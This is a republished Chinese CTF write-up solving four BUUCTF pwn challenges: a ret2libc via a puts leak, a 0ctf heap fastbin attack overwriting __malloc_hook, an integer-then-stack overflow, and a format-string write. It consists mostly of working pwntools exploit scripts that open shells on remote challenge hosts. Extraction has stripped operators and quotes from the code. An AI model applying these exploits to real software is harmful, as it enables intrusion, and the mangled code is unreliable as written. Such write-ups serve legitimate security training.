栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

BUUCTF pwn wp 21

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

BUUCTF pwn wp 21

bjdctf_2020_babyrop


puts泄露libc, ret2libc

from pwn import *
from LibcSearcher import *
url, port node4.buuoj.cn , 25782
filename ./bjdctf_2020_babyrop 
elf ELF(filename)
puts_plt elf.plt[ puts ]
puts_got elf.got[ puts ]
main_addr elf.sym[ main ]
# libc ELF( )
context(arch amd64 , os linux )
# context(arch i386 , os linux )
pop_rdi_addr 0x0000000000400733
debug 0
if debug:
 # context.log_level debug 
 io process(filename)
 context.terminal [ tmux , splitw , -h ]
 # gdb.attach(io)
else:
 io remote(url, port)
def B():
 gdb.attach(io)
 pause()
def pwn():
 payload cyclic(0x20 8) p64(pop_rdi_addr) p64(puts_got)
 payload p64(puts_plt) p64(main_addr)
 io.sendlineafter( story!n , payload)
 puts_addr u64(io.recv(6).ljust(8, b x00 ))
 log.info( puts address: %#x % puts_addr)
 libc LibcSearcher( puts , puts_addr)
 libc_base puts_addr - libc.dump( puts )
 system_addr libc_base libc.dump( system )
 binsh_addr libc_base libc.dump( str_bin_sh )
 payload cyclic(0x20 8) p64(pop_rdi_addr) p64(binsh_addr) p64(system_addr)
 io.sendlineafter( story!n , payload)
if __name__ __main__ :
 pwn()
 io.interactive()
babyheap_0ctf_2017

直接参考我之前写的blog
https://blog.csdn.net/qq_33976344/article/details/119904057

unsorted bin 堆叠, fastbin attack

from pwn import *
url, port node4.buuoj.cn , 25085 
filename ./babyheap_0ctf_2017 
elf ELF(filename)
# libc ELF( )
debug 0
if debug:
 context.log_level debug 
 io process(filename)
 # context.terminal [ tmux , splitw , -h ]
 # gdb.attach(io)
else:
 io remote(url, port)
def alloc(size):
 io.sendlineafter( Command: , 1 )
 io.sendlineafter( Size: , str(size))
def fill(idx, cont):
 io.sendlineafter( Command: , 2 )
 io.sendlineafter( Index: , str(idx))
 io.sendlineafter( Size: , str(len(cont)))
 io.sendafter( Content: , cont)
def free(idx):
 io.sendlineafter( Command: , 3 )
 io.sendlineafter( Index: , str(idx))
def dump(idx):
 io.sendlineafter( Command: , 4 )
 io.sendlineafter( Index: , str(idx))
 io.recvuntil( Content: n )
 data io.recvline()
 return data
def pwn():
 alloc(0x10)
 alloc(0x10)
 alloc(0x10)
 alloc(0x10)
 alloc(0x80)
 free(1)
 free(2)
 payload cyclic(16) p64(0) p64(0x21) cyclic(16) p64(0) p64(0x21) p8(0x80)
 fill(0, payload)
 payload cyclic(16) p64(0) p64(0x21)
 fill(3, payload)
 alloc(0x10)
 alloc(0x10)
 payload cyclic(16) p64(0) p64(0x91)
 fill(3, payload)
 alloc(0x80)
 free(4)
 main_arena_addr u64(dump(2)[:8])
 libc_base main_arena_addr - 0x3c4b78
 __malloc_hook_addr libc_base 0x00000000003c4b10
 one_gadget_addr libc_base 0x4526a # 0x45216
 log.info( main_arena_addr 0x%x % main_arena_addr)
 log.info( libc_base 0x%x % libc_base)
 log.info( __malloc_hook_addr 0x%x % __malloc_hook_addr)
 log.info( one_gadget_addr 0x%x % one_gadget_addr)
 alloc(0x60)
 free(4)
 payload p64(libc_base 0x3c4afd) # link fake chunk into fastbin
 fill(2, payload)
 alloc(0x60)
 alloc(0x60)
 payload p8(0) * 3 p64(one_gadget_addr) # change __malloc_hook
 fill(6, payload)
 alloc(233) # call one_gaget
 io.interactive()
if __name__ __main__ :
 pwn()
pwn2_sctf_2016


整数溢出, 然后栈溢出

LibcSearcher就是垃圾, 严重依赖libc-database库, 有时候库不全或者很偏, 浪费时间试错
最后尝试出来服务器上的libc版本为
ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)

from pwn import *
from LibcSearcher import *
url, port node4.buuoj.cn , 28087
filename ./pwn2_sctf_2016 
elf ELF(filename)
# libc ELF( )
# context(arch amd64 , os linux )
context(arch i386 , os linux )
debug 0
if debug:
 context.log_level debug 
 io process(filename)
 # context.terminal [ tmux , splitw , -h ]
 # gdb.attach(io)
else:
 io remote(url, port)
def B():
 gdb.attach(io)
 pause()
def pwn():
 offset 0x2C
 fmtstr_addr 0x080486F8
 printf_plt elf.plt[ printf ]
 printf_got elf.got[ printf ]
 main_addr elf.sym[ main ]
 io.sendlineafter( read? , -1 )
 payload cyclic(offset 4) p32(printf_plt) p32(main_addr) 
 payload p32(fmtstr_addr) p32(printf_got)
 io.sendlineafter( data!n , payload)
 io.recvuntil( You said: )
 io.recvuntil( You said: )
 printf_addr u32(io.recv(4))
 log.info( printf address: %#x % printf_addr)
 libc LibcSearcher( printf , printf_addr)
 libc_base printf_addr - libc.dump( printf )
 system_addr libc_base libc.dump( system )
 binsh_addr libc_base libc.dump( str_bin_sh )
 io.sendlineafter( read? , -1 )
 payload cyclic(offset 4) p32(system_addr) p32(main_addr) p32(binsh_addr)
 io.sendlineafter( data!n , payload)
if __name__ __main__ :
 pwn()
 io.interactive()
jarvisoj_fm

泄露位置是11

fmtstr写, x改成4, 字符数小于等于4, 利用后置位写入

from pwn import *
url, port node4.buuoj.cn , 28731
filename ./fm 
elf ELF(filename)
# libc ELF( )
# context(arch amd64 , os linux )
context(arch i386 , os linux )
local 0
if local:
 context.log_level debug 
 io process(filename)
 # context.terminal [ tmux , splitw , -h ]
 # gdb.attach(io)
else:
 io remote(url, port)
def B():
 gdb.attach(io)
 pause()
def pwn():
 io.sendline(b ZZZZ%14$nZZZ b x2CxA0x04x08 ) # 0x0804A02C
if __name__ __main__ :
 pwn()
 io.interactive()
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/267490.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号